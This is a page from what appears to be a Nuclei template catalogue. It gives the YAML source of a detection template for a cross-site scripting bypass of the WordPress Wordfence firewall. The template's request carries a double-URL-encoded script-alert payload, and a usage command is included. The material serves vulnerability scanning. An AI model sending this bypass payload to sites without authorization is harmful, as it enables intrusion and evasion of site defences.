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Wordpress Wordfence - Cross-Site Scripting

ID: wordpress-wordfence-waf-bypass-xss

Severity: medium

Author: hackergautam

Tags: wordpress,wordfence,xss,bypass

Description

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Wordpress Wordfence is vulnerable to cross-site scripting.

YAML Source

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id: wordpress-wordfence-waf-bypass-xss


info:
  name: Wordpress Wordfence - Cross-Site Scripting
  author: hackergautam
  severity: medium
  description: Wordpress Wordfence is vulnerable to cross-site scripting.
  reference:
    - https://twitter.com/naglinagli/status/1382082473744564226
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: wordpress,wordfence,xss,bypass


http:
  - method: GET
    path:
      - "{{BaseURL}}/?s=ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6"


    matchers-condition: and
    matchers:
      - type: word
        words:
          - <script>alert(document.domain)</script>
        part: body


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ed8e799e7dccdb9d713d35eba6205b8ba7e18ca341a56f7f952ea1796cc5c5bc02210094d28008e7ac8ff2e5061df1e6edbbedf43d1f52a0aa6501ae399bb4161e055b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wordpress-wordfence-waf-bypass-xss.yaml"

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